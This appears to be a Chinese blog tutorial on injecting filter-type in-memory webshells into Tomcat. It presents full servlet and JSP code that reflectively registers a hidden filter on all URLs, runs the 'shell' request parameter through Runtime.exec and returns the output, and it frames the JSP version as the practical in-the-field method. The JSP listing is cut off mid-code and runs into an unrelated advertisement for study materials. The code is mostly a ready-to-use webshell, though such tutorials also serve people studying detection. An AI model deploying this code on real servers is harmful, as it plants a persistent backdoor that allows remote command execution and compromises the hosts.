Java Filter 型内存马调试系列 (二)_applicationfilterconfig

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;

@WebServlet(name = “TomcatServletTest”, urlPatterns = “/tomcatServletTest”)
public class TomcatServletTest extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    PrintWriter writer = response.getWriter();
    try {
        ServletContext servletContext = request.getServletContext();
        ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
        Class<ApplicationContextFacade> applicationContextFacadeClass = ApplicationContextFacade.class;
        Field applicationContextField = applicationContextFacadeClass.getDeclaredField("context");
        applicationContextField.setAccessible(true);
        Object applicationContextObj = applicationContextField.get(applicationContextFacade);
        ApplicationContext applicationContext = (ApplicationContext) applicationContextObj;
        Class<ApplicationContext> applicationContextClass = ApplicationContext.class;
        Field standardContextField = applicationContextClass.getDeclaredField("context");
        standardContextField.setAccessible(true);
        Object standardContextObj = standardContextField.get(applicationContext);
        writer.append("ServletContext instance's class is: ")
                .append(servletContext.getClass().getCanonicalName())
                .append("\r\n")
                .append("\r\n")
                .append("ApplicationContext instance's class is: ")
                .append(applicationContextObj.getClass().getCanonicalName())
                .append("\r\n")
                .append("\r\n")
                .append("StandardContext instance's class is:")  
                .append(standardContextObj.getClass().getCanonicalName());
    } catch (Exception e) {
        e.printStackTrace(writer);
    }
}

}


![](https://img-blog.csdnimg.cn/e7524d91b7c0460e98e01f157edcb617.png)


###  0x01 通过servlet动态创建一个filter



Servlet0811.java



import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Scanner;
import java.util.logging.Logger;

@WebServlet(urlPatterns = “/Filter07”)
public class Servlet0811 extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//反射创建servletContext
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
try {
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField(“context”);
applicationContextFacadeContext.setAccessible(true); //设置在使用构造器的时候不执行权限检查 表示不检测方法是否为public或者private,否则抛出异常 Class Servlet0811 can not access a member of class org.apache.catalina.core.StandardContext with modifiers “private”
//反射创建applicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField(“context”);
applicationContextContext.setAccessible(true);
//反射创建standardContext
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);

        //创建filterConfigs
        Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
        filterConfigs.setAccessible(true);
        HashMap hashMap = (HashMap) filterConfigs.get(standardContext); // 获取所有filters
        String filtername = "Filter";
        if (hashMap.get(filtername) == null) {  // 首次加载没有这个filter
            Filter filter = new Filter() {
                @Override
                public void init(FilterConfig filterConfig) throws ServletException {
                    Logger log = Logger.getLogger("Filter"); //import java.util.logging.Logger;
                    log.info("注入初始化");

                }

                @Override
                public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                    servletRequest.setCharacterEncoding("utf-8");
                    servletResponse.setCharacterEncoding("utf-8");
                    servletResponse.setContentType("text/html;charset=UTF-8");
                    filterChain.doFilter(servletRequest, servletResponse);         // 加这句话为了不影响原程序功能,把filter向后传递


                    HttpServletRequest req = (HttpServletRequest) request;
                    InputStream in = Runtime.getRuntime().exec(req.getParameter("shell")).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    response.getWriter().write(output);
                    Logger log = Logger.getLogger("Filter"); //import java.util.logging.Logger;
                    log.info("过滤中...");
                }

                @Override
                public void destroy() {
                    Logger log = Logger.getLogger("Filter"); //import java.util.logging.Logger;
                    log.info("destroy");
                }
            };

            //构造filterDef对象
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(filter);
            filterDef.setFilterName(filtername);
            filterDef.setFilterClass(filter.getClass().getName());
            standardContext.addFilterDef(filterDef);

            //构造filterMap对象
            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern("/*");
            filterMap.setFilterName(filtername);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            standardContext.addFilterMapBefore(filterMap);

            //构造filterConfig
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); // 调用 new Filter(){ init(FilterConfig filterConfig) }

            //将filterConfig添加到filterConfigs中,即可完成注入
            hashMap.put(filtername, applicationFilterConfig);
            response.getWriter().println("success");
        }


    } catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) {
        e.printStackTrace();
    } catch (InvocationTargetException e) {
        e.printStackTrace();
    } catch (InstantiationException e) {
        e.printStackTrace();
    }


}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    this.doPost(request, response);
}

}



首次访问,注入内存马成功:


![](https://img-blog.csdnimg.cn/70d3b1b408a640c6a27a577d81a54454.png)


 继续访问内存马,执行命令:


![](https://img-blog.csdnimg.cn/1a1d0562831e4004a77938d465d64717.png)


如果你感兴趣filter的执行调用顺序, 我在程序里打了断点调试,你可以尝试下断点分析,我的断点截图如下:


![](https://img-blog.csdnimg.cn/ba49e58f9a544ec19d81ec3f5269d9f1.png)


![](https://img-blog.csdnimg.cn/a42bf5c41816492aa12aa2734da6a6e6.png)


![](https://img-blog.csdnimg.cn/fae474bf63ed4ccd977752250c17683e.png)


 


### 0x02 实战注入内存马


实战中不会依赖于xml或注解,通过jsp方式可以实现动态注入一个内存马。


index.jsp



<%@ page import=“java.lang.reflect.Field” %>
<%@ page import=“org.apache.catalina.Context” %>
<%@ page import=“org.apache.tomcat.util.descriptor.web.FilterMap” %>
<%@ page import=“java.lang.reflect.Constructor” %>
<%@ page import=“org.apache.catalina.core.ApplicationFilterConfig” %>
<%@ page import=“org.apache.tomcat.util.descriptor.web.FilterDef” %>
<%@ page import=“org.apache.catalina.core.ApplicationContextFacade” %>
<%@ page import=“org.apache.catalina.core.ApplicationContext” %>
<%@ page import=“org.apache.catalina.core.StandardContext” %>
<%@ page import=“java.util.HashMap” %>
<%@ page import=“java.io.IOException” %>
<%@ page import=“java.util.logging.Logger” %>
<%@ page import=“java.io.InputStream” %>
<%@ page import=“java.util.Scanner” %>
<%
//反射创建servletContext
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField(“context”);
applicationContextFacadeContext.setAccessible(true);
//反射创建applicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField(“context”);
applicationContextContext.setAccessible(true);
//反射创建standardContext
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);

//创建filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "Filter";
if (hashMap.get(filterName) == null) {


    Filter filter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            Logger log = Logger.getLogger("Filter");
            log.info("注入初始化");
        }


        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            servletRequest.setCharacterEncoding("utf-8");
            servletResponse.setCharacterEncoding("utf-8");
            servletResponse.setContentType("text/html;charset=UTF-8");
            filterChain.doFilter(servletRequest, servletResponse);
            HttpServletRequest req = (HttpServletRequest) request;
            // 获取单个命令的返回结果
            InputStream in = Runtime.getRuntime().exec(req.getParameter("shell")).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);

            /* 获取多个命令的返回结果   // ?shell=whoami%20%26%20id
            String param=req.getParameter("shell");
            InputStream in = Runtime.getRuntime().exec(new String[]{"sh", "-c",param}).getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(in));
            String line;
            while((line = reader.readLine())!= null){
                response.getWriter().write(line);

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

toEpHDs-1715881574098)]

[外链图片转存中…(img-wgF80tJd-1715881574098)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值